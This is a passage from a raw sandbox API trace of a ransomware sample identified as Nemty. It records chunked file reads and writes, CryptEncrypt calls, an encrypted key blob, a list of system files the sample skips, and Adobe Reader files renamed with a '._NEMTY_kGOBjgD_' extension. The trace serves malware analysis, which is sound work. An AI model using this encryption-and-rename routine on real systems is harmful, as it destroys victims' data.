dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0202.518] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0202.518] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6352c48 [0202.518] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0202.518] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0202.527] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0202.527] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0202.527] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0202.527] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0202.537] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0202.537] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0202.537] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0202.537] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0202.546] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0202.546] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0202.546] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0202.546] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0202.556] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0202.556] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0202.556] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0202.556] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0202.565] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0202.566] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0202.566] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0202.566] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0202.575] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0202.575] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0202.575] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0202.575] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0202.585] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0202.585] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0202.585] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0202.585] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0202.594] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0202.594] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0202.594] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0202.595] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0202.604] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0202.604] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0202.604] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0202.604] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0202.614] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0202.614] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0202.614] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0202.614] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0202.620] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0202.620] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0202.620] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0202.620] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0202.626] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0202.626] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0202.626] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0202.626] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6348d60, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0202.626] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0202.626] CloseHandle (hObject=0xffffffff) returned 0 [0202.626] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f941d8 [0202.626] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0202.626] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0202.626] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0202.626] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0202.626] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0202.626] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94280 [0202.627] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x4f94328 [0202.627] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94280 | out: hHeap=0x4f90000) returned 1 [0202.627] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0202.627] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Korea1-KSCpc-EUC" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-korea1-kscpc-euc"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Korea1-KSCpc-EUC._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-korea1-kscpc-euc._nemty_kgobjgd_")) returned 0 [0202.627] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94328 | out: hHeap=0x4f90000) returned 1 [0202.627] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941d8 | out: hHeap=0x4f90000) returned 1 [0202.627] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0202.627] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0202.627] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0202.627] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0202.627] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0202.627] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94130 | out: hHeap=0x4f90000) returned 1 [0202.627] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0202.627] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0202.627] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fbbc660, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x25bda, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-Korea1-UCS2", cAlternateFileName="AD8F7C~1")) returned 1 [0202.627] lstrcmpiW (lpString1="Adobe-Korea1-UCS2", lpString2=".") returned 1 [0202.627] lstrcmpiW (lpString1="Adobe-Korea1-UCS2", lpString2="..") returned 1 [0202.627] lstrcmpiW (lpString1="Adobe-Korea1-UCS2", lpString2="...") returned 1 [0202.627] lstrcmpiW (lpString1="Adobe-Korea1-UCS2", lpString2="windows") returned -1 [0202.627] lstrcmpiW (lpString1="Adobe-Korea1-UCS2", lpString2="$RECYCLE.BIN") returned 1 [0202.627] lstrcmpiW (lpString1="Adobe-Korea1-UCS2", lpString2="rsa") returned -1 [0202.627] lstrcmpiW (lpString1="Adobe-Korea1-UCS2", lpString2="NTDETECT.COM") returned -1 [0202.627] lstrcmpiW (lpString1="Adobe-Korea1-UCS2", lpString2="ntldr") returned -1 [0202.627] lstrcmpiW (lpString1="Adobe-Korea1-UCS2", lpString2="MSDOS.SYS") returned -1 [0202.627] lstrcmpiW (lpString1="Adobe-Korea1-UCS2", lpString2="IO.SYS") returned -1 [0202.627] lstrcmpiW (lpString1="Adobe-Korea1-UCS2", lpString2="boot.ini") returned -1 [0202.627] lstrcmpiW (lpString1="Adobe-Korea1-UCS2", lpString2="boot.ini") returned -1 [0202.627] lstrcmpiW (lpString1="Adobe-Korea1-UCS2", lpString2="AUTOEXEC.BAT") returned -1 [0202.627] lstrcmpiW (lpString1="Adobe-Korea1-UCS2", lpString2="ntuser.dat") returned -1 [0202.627] lstrcmpiW (lpString1="Adobe-Korea1-UCS2", lpString2="desktop.ini") returned -1 [0202.627] lstrcmpiW (lpString1="Adobe-Korea1-UCS2", lpString2="CONFIG.SYS") returned -1 [0202.627] lstrcmpiW (lpString1="Adobe-Korea1-UCS2", lpString2="RECYCLER") returned -1 [0202.628] lstrcmpiW (lpString1="Adobe-Korea1-UCS2", lpString2="BOOTSECT.BAK") returned -1 [0202.628] lstrcmpiW (lpString1="Adobe-Korea1-UCS2", lpString2="bootmgr") returned -1 [0202.628] lstrcmpiW (lpString1="Adobe-Korea1-UCS2", lpString2="programdata") returned -1 [0202.628] lstrcmpiW (lpString1="Adobe-Korea1-UCS2", lpString2="appdata") returned -1 [0202.628] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0202.628] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-Korea1-UCS2", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0202.628] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0202.628] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-Korea1-UCS2", cchWideChar=17, lpMultiByteStr=0x4f9ecb8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Adobe-Korea1-UCS2", lpUsedDefaultChar=0x0) returned 17 [0202.628] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0202.628] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0202.628] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-Korea1-UCS2", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0202.628] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0202.628] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-Korea1-UCS2", cchWideChar=17, lpMultiByteStr=0x4f9ecb8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Adobe-Korea1-UCS2", lpUsedDefaultChar=0x0) returned 17 [0202.628] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0202.628] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0202.628] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0202.628] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0202.628] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-Korea1-UCS2", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0202.628] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0202.628] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-Korea1-UCS2", cchWideChar=17, lpMultiByteStr=0x4f9ecb8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Adobe-Korea1-UCS2", lpUsedDefaultChar=0x0) returned 17 [0202.628] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0202.628] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0202.628] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-Korea1-UCS2", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0202.628] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0202.628] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe-Korea1-UCS2", cchWideChar=17, lpMultiByteStr=0x4f9ed58, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Adobe-Korea1-UCS2", lpUsedDefaultChar=0x0) returned 17 [0202.628] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0202.628] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94130 [0202.628] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0202.628] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0202.628] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0202.628] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94088 [0202.628] Sleep (dwMilliseconds=0x5) [0202.642] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x2c6e49f0, dwHighDateTime=0x1d561e8)) [0202.642] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x2c6e49f0, dwHighDateTime=0x1d561e8)) [0202.642] GetLastError () returned 0x5 [0202.642] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0202.642] GetLastError () returned 0x5 [0202.642] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0202.642] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0202.642] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0202.642] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0202.642] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0202.643] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0202.643] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348ed8 [0202.643] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6348ed8, pcchString=0x653e91c | out: pszString="/vkS8mfn31mu00hwsY6uQb0BdoNdLj0i+OxcS/buxs2nFWqMysmaw0osgqsDrRXH\r\nbNCKQWMwpyZXZ6+m3VI2hE6763IFx9KtIn/DmHtJfapZiub+DOR6V6L2Z6xpiB6/\r\nRLJPE1FPyrOtF5y6p2kNC9Py6tXA37r7dExdIJICg+LitFVSVDS6P7we2ML1YWan\r\nBxlulakwVOn17Yn3gMuM/GIbchkDx895t2KyQLe0dPCh8nCIxYF3AbZqc46czALb\r\npJSL3+KaTk9hVoSq6dgArulTHdGUG0cV1Gn7LI2wE9wBWRrA3Cjv91tJcdz1D1wC\r\ni7a68MClPfXkT2VwBZe50g==\r\n", pcchString=0x653e91c) returned 1 [0202.643] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0202.643] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0202.643] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0202.643] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0202.643] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348ed8 [0202.643] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0202.643] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-Korea1-UCS2" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-korea1-ucs2"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0202.643] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0202.643] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6352c48 [0202.643] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0202.643] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0202.653] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0202.653] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0202.653] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0202.653] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0202.662] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0202.662] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: 